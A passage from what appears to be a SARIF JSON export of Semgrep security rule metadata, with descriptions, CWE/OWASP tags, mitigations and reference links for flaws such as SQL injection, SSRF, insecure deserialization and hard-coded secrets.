Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","id":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","name":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"help":{"markdown":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb)\n - [https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/](https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/)\n","text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization","id":"ruby.lang.security.cookie-serialization.cookie-serialization","name":"ruby.lang.security.cookie-serialization.cookie-serialization","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.cookie-serialization.cookie-serialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","id":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","name":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","id":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","name":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","id":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","name":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-dill-flask.tainted-dill-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","id":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","name":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","id":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","name":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","id":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","name":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false","id":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","name":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-http-false.taint-cookie-http-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","id":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","name":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe API Key detected"},"help":{"markdown":"Stripe API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","id":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","name":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"help":{"markdown":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST').\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping)\n - [https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING](https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING)\n","text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"helpUri":"https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","id":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","name":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod","id":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","name":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostpid-pod.hostpid-pod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection","id":"javascript.express.security.express-vm2-injection.express-vm2-injection","name":"javascript.express.security.express-vm2-injection.express-vm2-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm2-injection.express-vm2-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","id":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","name":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep 